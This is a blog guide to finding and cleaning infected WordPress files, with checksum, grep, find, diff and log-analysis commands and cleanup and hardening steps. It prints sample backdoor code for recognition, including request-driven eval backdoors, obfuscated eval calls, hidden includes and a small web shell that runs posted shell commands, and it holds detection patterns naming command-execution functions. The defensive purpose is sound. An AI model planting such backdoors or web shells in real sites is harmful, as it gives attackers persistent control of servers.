Back to blog
Infected WordPress Files: How to Identify and Clean Them
SEO

Infected WordPress Files: How to Identify and Clean Them

Bastien AllainMarch 11, 202612 min read
wordpressinfected-filesmalwarebackdoorsecuritywp-cli

When a WordPress site is compromised, malware leaves traces in the server files. Hidden backdoor scripts in the uploads folder, obfuscated code inserted into functions.php, core files silently modified: infected files are the attacker's preferred playground. In 2026, with AI-powered obfuscation techniques, these malicious files are harder to spot than ever. This guide teaches you how to systematically identify every infected file and clean it without breaking your site.

How to identify and clean infected WordPress files (8 etapes)
  1. 1

    Run WP-CLI checksum verificationUse wp core verify-checksums to detect any modified WordPress core files.

  2. 2

    Scan the uploads folder for PHP filesSearch wp-content/uploads for PHP files, which should never exist there.

  3. 3

    Inspect theme and plugin filesCheck functions.php, header.php, and plugin folders for obfuscated or unknown code.

  4. 4

    Search for common malware patternsGrep for base64_decode, eval, and other suspicious PHP functions across all files.

  5. 5

    Remove or replace infected filesDelete malicious files and reinstall clean versions of core, themes, and plugins.

  6. 6

    Update all credentialsChange database passwords, WordPress salts, and all admin account passwords.

  7. 7

    Verify the cleanupRe-scan the site with a security plugin and check server logs for remaining threats.

  8. 8

    Harden against reinfectionSet correct file permissions, remove unused plugins, and enable a web application firewall.

Which Files Hackers Target First

Attackers do not modify files at random. They target strategic locations that guarantee persistence, stealth, and maximum impact.

WordPress Core Files

FileWhy It Is TargetedRisk
wp-config.phpContains database credentials and security keysData theft, persistent backdoor
wp-load.phpExecuted on every page loadMalicious code runs systematically
wp-blog-header.phpMain WordPress entry pointRedirect, content injection
index.php (root)First file executedRedirect, defacement
wp-includes/version.phpRarely inspected by adminsStealthy backdoor

Theme Files

FileInjection Technique
functions.phpMalicious functions added at the beginning or end of file
header.phpJavaScript injection for redirect or crypto mining
footer.phpHidden SEO spam links or tracking scripts
404.phpFull backdoor (rarely visited page = low detection)
style.cssComments containing PHP code (if server is misconfigured)

Plugin Files

Attackers often create fake plugins in /wp-content/plugins/ with legitimate-sounding names:

  • wp-super-cache-cleanup/
  • seo-optimizer-pro/
  • security-update-2026/
  • ultra-seo-processor/

These fake plugins contain backdoors and are loaded automatically by WordPress.

The Uploads Folder: Danger Zone

The /wp-content/uploads/ folder should never contain PHP files. Yet it is one of the hackers' preferred locations because:

  • Write permissions are often too permissive
  • Scanning tools rarely focus on this folder
  • The date-based subfolder structure (/2026/03/) makes it easy to hide files

mu-plugins Files

The /wp-content/mu-plugins/ folder (must-use plugins) is loaded automatically without appearing in the admin interface. It is an ideal location for persistent backdoors:

# Check the mu-plugins folder contents
ls -la /path/to/wordpress/wp-content/mu-plugins/

How to Detect Infected Files

Detection relies on a multi-layered approach combining automated tools and manual inspection.

Method 1: WP-CLI Verify Checksums

WP-CLI lets you compare your installation files against the official WordPress originals:

# Verify core file integrity
wp core verify-checksums
 
# Verify plugin integrity (from wordpress.org)
wp plugin verify-checksums --all
 
# Example output when issues are found
# Warning: File doesn't verify against checksum: wp-includes/version.php
# Warning: File not in WordPress installation: wp-includes/wp-tmp.php

This command identifies three types of issues:

  • Modified files: the checksum does not match
  • Missing files: deleted by the hacker to break functionality
  • Added files: files that are not part of the official installation

Method 2: Malicious Signature Search with grep

# Search for common obfuscation functions
grep -rn "eval(base64_decode" /path/to/wordpress/ --include="*.php"
grep -rn "eval(gzinflate" /path/to/wordpress/ --include="*.php"
grep -rn "eval(str_rot13" /path/to/wordpress/ --include="*.php"
 
# Search for system execution functions
grep -rn "exec(\|system(\|passthru(\|shell_exec(\|popen(" /path/to/wordpress/ --include="*.php"
 
# Search for remote includes
grep -rn "file_get_contents('http\|curl_exec\|wp_remote_get.*http" /path/to/wordpress/wp-content/ --include="*.php"
 
# Search for variable obfuscation patterns
grep -rn '\$[a-zA-Z_]*\s*=\s*"\\\x[0-9a-f]' /path/to/wordpress/ --include="*.php"
 
# Search for hidden iframes
grep -rn "iframe.*style.*display.*none\|iframe.*width.*0.*height.*0" /path/to/wordpress/ --include="*.php"

Method 3: File Modification Date Analysis

# Find PHP files modified in the last 7 days
find /path/to/wordpress/ -name "*.php" -mtime -7 -type f
 
# Find PHP files modified in the last 30 days in wp-content
find /path/to/wordpress/wp-content/ -name "*.php" -mtime -30 -type f -ls
 
# Find PHP files in the uploads folder
find /path/to/wordpress/wp-content/uploads/ -name "*.php" -type f
 
# Find files with double extensions
find /path/to/wordpress/ -name "*.php.jpg" -o -name "*.php.png" -o -name "*.php.gif" -type f

Warning: modification dates can be faked with the touch command. Do not rely solely on this method.

Method 4: Comparison with a Clean Installation

# Download a clean copy of WordPress
wp core download --path=/PATH/TO/CLEAN-WP-clean --force
 
# Compare core files
diff -rq /path/to/wordpress/wp-includes/ /PATH/TO/CLEAN-WP-clean/wp-includes/
diff -rq /path/to/wordpress/wp-admin/ /PATH/TO/CLEAN-WP-clean/wp-admin/
 
# Compare a specific file
diff /path/to/wordpress/wp-includes/version.php /PATH/TO/CLEAN-WP-clean/wp-includes/version.php

Method 5: Server Log Analysis

Logs can reveal which files the hacker is calling:

# Search for suspicious POST requests to PHP files in uploads
grep "POST.*uploads.*\.php" /var/log/apache2/access.log
 
# Search for requests to non-standard files
grep "\.php" /var/log/apache2/access.log | grep -v "wp-admin\|wp-login\|wp-cron\|xmlrpc\|wp-json\|index.php"
 
# Search for access to known backdoor files
grep "wp-tmp\|wp-feed\|class-wp-cache\|db-safe-mode" /var/log/apache2/access.log

Common Malicious Code Patterns

Recognizing malicious code by sight is an essential skill. Here are the most frequent patterns in 2026.

Pattern 1: eval() + base64_decode()

The classic approach. Code is base64-encoded to evade basic scans:

// Typical malicious code
eval(base64_decode('aWYoaXNzZXQoJF9SRVFVRVNUWydj...'));
 
// Which often decodes to:
if(isset($_REQUEST['cmd'])){
    eval($_REQUEST['cmd']);
}

To manually decode:

echo "aWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpew==" | base64 --decode

Pattern 2: Obfuscated Concatenated Variables

Code uses variable concatenation to hide function names:

// Obfuscation through concatenation
$a = 'ev'; $b = 'al'; $c = $a.$b;
$d = 'bas'.'e64'.'_de'.'code';
$c($d('malicious_encoded_code'));
 
// Obfuscation through chr()
$func = chr(101).chr(118).chr(97).chr(108); // = "eval"
$func('malicious_code');

Pattern 3: Backdoor with Authentication

Sophisticated backdoors that only activate with a password:

// Backdoor with HTTP header authentication
if (isset($_SERVER['HTTP_X_FORWARDED_HOST']) &&
    md5($_SERVER['HTTP_X_FORWARDED_HOST']) === 'a1b2c3d4e5f6...') {
    eval(file_get_contents('php://input'));
}
 
// Backdoor with cookie authentication
if (isset($_COOKIE['wp_session']) &&
    $_COOKIE['wp_session'] === 'secret_token_here') {
    @eval($_POST['code']);
}

Pattern 4: Injection into Legitimate Files

Malicious code is inserted into existing files, often at the beginning or end:

<?php
// Normal start of functions.php
// ... then at the very bottom:
 
@include_once('/path/to/wordpress/wp-content/uploads/2026/03/.cache.php');
 
// Or with an obfuscated relative path
@include("\x2f\x68\x6f\x6d\x65".$_SERVER['DOCUMENT_ROOT']."/wp-includes/.wp-tmp.php");

Pattern 5: Full Web Shell

A standalone file that provides full access to the server:

<?php
// Often named something innocent like "wp-cache-db.php"
if($_GET['pass']=='secretpass'){
    echo '<form method="post"><textarea name="cmd"></textarea><input type="submit"></form>';
    if(isset($_POST['cmd'])){
        echo '<pre>'.shell_exec($_POST['cmd']).'</pre>';
    }
}
?>

Signature Summary Table

SignatureDangerTypical Files
eval(base64_decode(Hidden code executionAll PHP files
eval(gzinflate(Compressed and executed codefunctions.php, wp-load.php
$_REQUEST['cmd']Interactive backdoorAdded files
@include_once( with obfuscated pathBackdoor loadingfunctions.php, wp-config.php
preg_replace('/.*e'Execution via regex (PHP < 7)Old themes
assert( with variableAlternative to eval()Plugins
file_put_contents + $_POSTRemote file writingBackdoors

Step-by-Step Cleanup

Step 1: Prepare the Environment

# Create a full backup BEFORE any cleanup
wp db export /path/to/backup/db-backup-$(date +%Y%m%d).sql
tar -czf /path/to/backup/files-backup-$(date +%Y%m%d).tar.gz /path/to/wordpress/
 
# Enable maintenance mode
wp maintenance-mode activate

Step 2: Replace Core Files

This is the safest method: completely replace WordPress files with originals:

# Download and replace core files
wp core download --force --skip-content
 
# Verify integrity after reinstallation
wp core verify-checksums

This command replaces /wp-admin/ and /wp-includes/ without touching /wp-content/.

Step 3: Clean Theme Files

# List modified files in the active theme
THEME=$(wp theme list --status=active --field=name)
 
# If it is a wordpress.org theme, reinstall it
wp theme install $THEME --force
 
# If it is a custom theme, compare with the original version
diff -rq /path/to/wordpress/wp-content/themes/$THEME/ /path/to/original-theme/
 
# Manually check functions.php
head -20 /path/to/wordpress/wp-content/themes/$THEME/functions.php
tail -20 /path/to/wordpress/wp-content/themes/$THEME/functions.php

For custom themes without a reference version, inspect each PHP file:

# Scan all theme files for suspicious code
grep -rn "eval(\|base64_decode\|gzinflate\|str_rot13\|shell_exec\|passthru" \
    /path/to/wordpress/wp-content/themes/$THEME/ --include="*.php"

Step 4: Clean Plugins

# Reinstall all plugins from the official repository
wp plugin install $(wp plugin list --field=name --format=csv) --force
 
# List plugins not on wordpress.org (potentially suspicious)
wp plugin verify-checksums --all 2>&1 | grep "not install"
 
# Remove fake plugins
ls -la /path/to/wordpress/wp-content/plugins/ | grep -v "index.php"

Manually verify each plugin that is not available on wordpress.org.

Step 5: Purge the Uploads Folder

# Delete ALL PHP files from the uploads folder
find /path/to/wordpress/wp-content/uploads/ -name "*.php" -type f -delete
 
# Delete files with suspicious extensions
find /path/to/wordpress/wp-content/uploads/ -name "*.php.*" -type f -delete
find /path/to/wordpress/wp-content/uploads/ -name ".*.php" -type f -delete
 
# Delete unnecessary .htaccess files in uploads
find /path/to/wordpress/wp-content/uploads/ -name ".htaccess" -type f -delete
 
# Check hidden files (starting with a dot)
find /path/to/wordpress/wp-content/uploads/ -name ".*" -type f

Step 6: Clean the mu-plugins Folder

# List mu-plugins contents
ls -la /path/to/wordpress/wp-content/mu-plugins/
 
# Remove any unrecognized file
# Only keep files you intentionally created

Step 7: Verify wp-config.php

# Search for suspicious code
grep -n "eval\|base64\|include\|require" /path/to/wordpress/wp-config.php
 
# Check first lines (before <?php)
head -3 /path/to/wordpress/wp-config.php
 
# Check last lines (after require wp-settings.php)
tail -5 /path/to/wordpress/wp-config.php

Regenerate security keys and change the database password. For all post-cleanup hardening measures, see our guide on securing WordPress after a hack.

Step 8: Fix Permissions

# Recommended permissions for WordPress
find /path/to/wordpress/ -type d -exec chmod 755 {} \;
find /path/to/wordpress/ -type f -exec chmod 644 {} \;
 
# Restrictive permissions for wp-config.php
chmod 400 /path/to/wordpress/wp-config.php
 
# Restrictive permissions for .htaccess
chmod 444 /path/to/wordpress/.htaccess

Command-Line Tools

ToolUsageCommand
WP-CLIIntegrity verificationwp core verify-checksums
grepSignature searchgrep -rn "eval(" --include="*.php"
findSuspicious file detectionfind . -name "*.php" -mtime -7
diffClean file comparisondiff -rq /infected/ /clean/
clamscanOpen-source antivirusclamscan -r /path/to/wordpress/

Security Plugins

PluginStrengthsScan
WordfenceDeep file scanning, WAF firewallComparison with official repository
Sucuri SecurityReal-time monitoring, secure CDNRemote + local scan
MalCareCloud scan (does not overload server)Behavioral analysis
iThemes SecurityComplete WordPress hardeningIntegrity verification

Post-Cleanup Verification

# Final comprehensive scan
wp core verify-checksums
wp plugin verify-checksums --all
 
# Verify no PHP files remain in uploads
find /path/to/wordpress/wp-content/uploads/ -name "*.php" -type f
 
# Check cron tasks (automated reinfection)
wp cron event list
 
# Final grep scan
grep -rn "eval(base64_decode\|eval(gzinflate" /path/to/wordpress/ --include="*.php"

Validation Checklist

  • Core checksums verified: OK
  • Plugin checksums verified: OK
  • No PHP files in /uploads/: OK
  • No fake plugins in /plugins/: OK
  • /mu-plugins/ folder clean: OK
  • wp-config.php verified: OK
  • Security keys regenerated: OK
  • Database password changed: OK
  • File permissions corrected: OK
  • Cron jobs cleaned: OK
  • Wordfence/Sucuri scan clean: OK

Prevention: Avoiding Reinfection

Prevention is just as important as cleanup. Without preventive measures, reinfection is nearly certain.

File Monitoring

Set up automated file modification monitoring:

# Simple monitoring script (run via cron)
#!/bin/bash
WORDPRESS_PATH="/path/to/wordpress"
HASH_FILE="/path/to/monitoring/files.md5"
 
# Generate current checksums
find $WORDPRESS_PATH -name "*.php" -type f -exec md5sum {} \; > /var/tmp/current_hashes.md5
 
# Compare with reference checksums
diff $HASH_FILE /var/tmp/current_hashes.md5 > /var/tmp/file_changes.txt
 
if [ -s /var/tmp/file_changes.txt ]; then
    mail -s "ALERT: WordPress files modified" admin@yoursite.com < /var/tmp/file_changes.txt
fi

Server Hardening

  • Disable PHP execution in the uploads folder via .htaccess:
# /wp-content/uploads/.htaccess
<Files "*.php">
    Deny from all
</Files>
  • Disable directory listing:
Options -Indexes
  • Limit write permissions to only necessary folders

Updates and Maintenance

  • Enable automatic updates for core and plugins
  • Remove inactive themes and plugins
  • Regularly change passwords (admin, FTP, database)
  • Perform daily backups and test restoration
  • Subscribe to a WordPress maintenance service to automate these tasks

When to Call a Professional

If you are facing any of these scenarios, a professional WordPress malware removal service is recommended:

  • Infected files return after every cleanup
  • You cannot find the source of infection
  • The site has been flagged by Google Safe Browsing
  • You handle sensitive data (e-commerce, personal data)
  • You want a comprehensive security audit

Conclusion

Identifying and cleaning infected WordPress files demands method and rigor. By combining automated tools (WP-CLI, grep, diff) with manual inspection of strategic files, you can eliminate every trace of malware. The key is to be systematic: skip no step, check every location, and set up permanent monitoring.

For a complete guide on the cleanup process, see our article on cleaning a hacked WordPress site. If you suspect your site contains specific backdoors, our guide on manually removing WordPress malware will help you eliminate them one by one.

Related posts